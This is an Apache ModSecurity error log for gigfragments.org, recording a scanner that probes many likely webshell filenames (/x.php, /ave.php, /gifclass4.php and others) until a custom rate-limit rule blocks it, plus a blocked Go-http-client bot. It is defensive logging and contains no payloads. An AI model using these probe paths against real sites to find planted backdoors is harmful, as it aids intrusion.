[Fri Feb 27 16:33:25.507478 2026] [:error] [pid 49306:tid 49327] [client 20.220.232.101:7988] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aaFW1fnSUDZue59Px9t_xwAAAVM"]
[Fri Feb 27 16:33:26.159204 2026] [:error] [pid 54102:tid 54144] [client 20.220.232.101:7948] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aaFW1ni74D4fiYUm_GdI6gAAAIA"]
[Fri Feb 27 16:33:26.686545 2026] [:error] [pid 54102:tid 54148] [client 20.220.232.101:7912] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aaFW1ni74D4fiYUm_GdI7QAAAIQ"]
[Fri Feb 27 16:33:27.176580 2026] [:error] [pid 54102:tid 54145] [client 20.220.232.101:7935] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aaFW13i74D4fiYUm_GdI7gAAAIE"]
[Fri Feb 27 16:33:27.667023 2026] [:error] [pid 62998:tid 63022] [client 20.220.232.101:7998] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aaFW11QeueXZDUmoLonw9QAAARQ"]
[Fri Feb 27 16:33:28.145711 2026] [:error] [pid 52073:tid 52084] [client 20.220.232.101:8073] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aaFW2Ia650YPyxXVeRZ0bAAAAYg"]
[Fri Feb 27 16:33:28.644359 2026] [:error] [pid 52073:tid 52082] [client 20.220.232.101:7963] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aaFW2Ia650YPyxXVeRZ0bQAAAYY"]
[Fri Feb 27 16:33:29.101736 2026] [:error] [pid 52073:tid 52078] [client 20.220.232.101:7914] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/520.php"] [unique_id "aaFW2Ya650YPyxXVeRZ0bwAAAYI"]
[Fri Feb 27 16:33:29.595426 2026] [:error] [pid 52073:tid 52090] [client 20.220.232.101:7931] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aaFW2Ya650YPyxXVeRZ0cwAAAY4"]
[Fri Feb 27 16:33:30.047341 2026] [:error] [pid 54231:tid 54252] [client 20.220.232.101:7934] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aaFW2uTvb5AeyJCdY7DQlAAAAFI"]
[Fri Feb 27 16:33:30.581882 2026] [:error] [pid 62998:tid 63008] [client 20.220.232.101:7840] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aaFW2lQeueXZDUmoLonw-gAAAQY"]
[Fri Feb 27 16:33:31.093496 2026] [:error] [pid 62998:tid 63007] [client 20.220.232.101:7915] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aaFW21QeueXZDUmoLonw-wAAAQU"]
[Fri Feb 27 16:33:31.618691 2026] [:error] [pid 54101:tid 54123] [client 20.220.232.101:8025] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaFW21Y5qgRktcYTGFsibgAAAc8"]
[Fri Feb 27 16:33:32.203155 2026] [:error] [pid 62998:tid 63026] [client 20.220.232.101:7900] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaFW3FQeueXZDUmoLonw_QAAARg"]
[Fri Feb 27 16:33:32.747469 2026] [:error] [pid 62998:tid 63023] [client 20.220.232.101:7824] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaFW3FQeueXZDUmoLonxAQAAARU"]
[Fri Feb 27 16:33:33.288899 2026] [:error] [pid 52073:tid 52092] [client 20.220.232.101:8003] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaFW3Ya650YPyxXVeRZ0egAAAZA"]
[Fri Feb 27 16:33:33.834561 2026] [:error] [pid 54101:tid 54114] [client 20.220.232.101:7966] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaFW3VY5qgRktcYTGFsicAAAAcY"]
[Fri Feb 27 16:33:34.319894 2026] [:error] [pid 62998:tid 63016] [client 20.220.232.101:7903] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaFW3lQeueXZDUmoLonxBAAAAQ4"]
[Fri Feb 27 16:33:34.886405 2026] [:error] [pid 56075:tid 56096] [client 20.220.232.101:7809] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaFW3sKBhrfI6KNv9RgtkQAAABI"]
[Fri Feb 27 16:33:35.407455 2026] [:error] [pid 52073:tid 52094] [client 20.220.232.101:7841] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaFW34a650YPyxXVeRZ0fQAAAZI"]
[Fri Feb 27 16:33:35.868876 2026] [:error] [pid 52073:tid 52091] [client 20.220.232.101:7901] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aaFW34a650YPyxXVeRZ0gAAAAY8"]
[Fri Feb 27 16:33:36.380170 2026] [:error] [pid 54231:tid 54250] [client 20.220.232.101:7843] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aaFW4OTvb5AeyJCdY7DQmwAAAFA"]
[Fri Feb 27 16:33:37.016277 2026] [:error] [pid 54102:tid 54164] [client 20.220.232.101:7961] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aaFW4Xi74D4fiYUm_GdI8QAAAJQ"]
[Fri Feb 27 16:33:37.522766 2026] [:error] [pid 54231:tid 54251] [client 20.220.232.101:7870] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aaFW4eTvb5AeyJCdY7DQnAAAAFE"]
[Fri Feb 27 16:33:37.991717 2026] [:error] [pid 62998:tid 63005] [client 20.220.232.101:7831] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aaFW4VQeueXZDUmoLonxBQAAAQM"]
[Fri Feb 27 16:33:38.758305 2026] [:error] [pid 52073:tid 52096] [client 20.220.232.101:7907] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aaFW4oa650YPyxXVeRZ0hAAAAZQ"]
[Fri Feb 27 16:33:39.206914 2026] [:error] [pid 56075:tid 56085] [client 20.220.232.101:7932] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aaFW48KBhrfI6KNv9RgtlwAAAAg"]
[Fri Feb 27 16:33:39.696145 2026] [:error] [pid 49306:tid 49323] [client 20.220.232.101:8047] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2clas.php"] [unique_id "aaFW4_nSUDZue59Px9t_zAAAAU8"]
[Fri Feb 27 16:33:40.285780 2026] [:error] [pid 52073:tid 52097] [client 20.220.232.101:7846] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aaFW5Ia650YPyxXVeRZ0hwAAAZU"]
[Fri Feb 27 16:33:40.842203 2026] [:error] [pid 52073:tid 52089] [client 20.220.232.101:7855] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aaFW5Ia650YPyxXVeRZ0iQAAAY0"]
[Fri Feb 27 16:33:41.485610 2026] [:error] [pid 52073:tid 52081] [client 20.220.232.101:7992] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aaFW5Ya650YPyxXVeRZ0igAAAYU"]
[Fri Feb 27 16:33:42.084248 2026] [:error] [pid 56075:tid 56092] [client 20.220.232.101:7845] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ave.php"] [unique_id "aaFW5sKBhrfI6KNv9RgtmgAAAA4"]
[Fri Feb 27 16:33:42.568263 2026] [:error] [pid 56075:tid 56078] [client 20.220.232.101:7882] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aaFW5sKBhrfI6KNv9RgtnAAAAAE"]
[Fri Feb 27 16:33:43.241224 2026] [:error] [pid 52073:tid 52087] [client 20.220.232.101:7813] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aaFW54a650YPyxXVeRZ0jwAAAYs"]
[Fri Feb 27 16:33:44.112816 2026] [:error] [pid 54103:tid 54173] [client 20.220.232.101:7944] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aaFW6OvG4MPCmE0B2sB2bwAAAMI"]
[Fri Feb 27 16:33:44.720806 2026] [:error] [pid 62998:tid 63008] [client 20.220.232.101:7964] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aaFW6FQeueXZDUmoLonxCQAAAQY"]
[Fri Feb 27 16:33:45.235614 2026] [:error] [pid 56075:tid 56096] [client 20.220.232.101:7883] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aaFW6cKBhrfI6KNv9RgtogAAABI"]
[Fri Feb 27 16:33:45.881994 2026] [:error] [pid 54102:tid 54151] [client 20.220.232.101:7814] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aaFW6Xi74D4fiYUm_GdI8wAAAIc"]
[Fri Feb 27 16:33:46.408030 2026] [:error] [pid 56075:tid 56082] [client 20.220.232.101:7828] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aaFW6sKBhrfI6KNv9RgtpQAAAAU"]
[Fri Feb 27 16:33:46.882983 2026] [:error] [pid 62998:tid 63024] [client 20.220.232.101:7978] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bibil.php"] [unique_id "aaFW6lQeueXZDUmoLonxCwAAARY"]
[Fri Feb 27 16:33:47.353682 2026] [:error] [pid 56075:tid 56099] [client 20.220.232.101:7820] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaFW68KBhrfI6KNv9RgtpwAAABU"]
[Fri Feb 27 16:33:47.917291 2026] [:error] [pid 52073:tid 52096] [client 20.220.232.101:7924] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaFW64a650YPyxXVeRZ0mAAAAZQ"]
[Fri Feb 27 16:33:48.495707 2026] [:error] [pid 56075:tid 56092] [client 20.220.232.101:8131] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaFW7MKBhrfI6KNv9RgtrQAAAA4"]
[Fri Feb 27 16:33:49.044022 2026] [:error] [pid 49306:tid 49314] [client 20.220.232.101:7933] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaFW7fnSUDZue59Px9t_1gAAAUY"]
[Fri Feb 27 16:33:49.552293 2026] [:error] [pid 49306:tid 49320] [client 20.220.232.101:7865] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aaFW7fnSUDZue59Px9t_1wAAAUw"]
[Fri Feb 27 16:33:50.189460 2026] [:error] [pid 52073:tid 52087] [client 20.220.232.101:7969] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aaFW7oa650YPyxXVeRZ0nwAAAYs"]
[Fri Feb 27 16:33:50.658521 2026] [:error] [pid 54231:tid 54246] [client 20.220.232.101:7929] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aaFW7uTvb5AeyJCdY7DQoQAAAEw"]
[Fri Feb 27 16:33:51.214182 2026] [:error] [pid 62998:tid 63023] [client 20.220.232.101:7906] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aaFW71QeueXZDUmoLonxDQAAARU"]
[Fri Feb 27 16:33:51.900479 2026] [:error] [pid 52073:tid 52099] [client 20.220.232.101:7754] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "aaFW74a650YPyxXVeRZ0oQAAAZc"]
[Fri Feb 27 16:34:10.237946 2026] [:error] [pid 52073:tid 52097] [client 20.220.232.101:7898] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaFXAoa650YPyxXVeRZ0zwAAAZU"]
[Fri Feb 27 16:34:10.793311 2026] [:error] [pid 54231:tid 54244] [client 20.220.232.101:7876] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaFXAuTvb5AeyJCdY7DQpgAAAEo"]
[Fri Feb 27 16:34:11.336509 2026] [:error] [pid 62998:tid 63015] [client 20.220.232.101:8033] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaFXA1QeueXZDUmoLonxGAAAAQ0"]
[Fri Feb 27 16:34:11.782767 2026] [:error] [pid 54231:tid 54234] [client 20.220.232.101:7866] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aaFXA-Tvb5AeyJCdY7DQqgAAAEA"]
[Fri Feb 27 16:34:11.892141 2026] [:error] [pid 52073:tid 52093] [client 157.15.40.88:64271] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "aaFXA4a650YPyxXVeRZ01QAAAZE"]
[Fri Feb 27 16:34:12.179020 2026] [:error] [pid 49306:tid 49310] [client 157.15.40.88:64282] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/txets.php"] [unique_id "aaFXBPnSUDZue59Px9t_-gAAAUI"]
[Fri Feb 27 16:34:12.266326 2026] [:error] [pid 49306:tid 49321] [client 20.220.232.101:7852] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aaFXBPnSUDZue59Px9t__QAAAU0"]
[Fri Feb 27 16:34:12.755799 2026] [:error] [pid 54101:tid 54114] [client 20.220.232.101:7848] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aaFXBFY5qgRktcYTGFsiewAAAcY"]
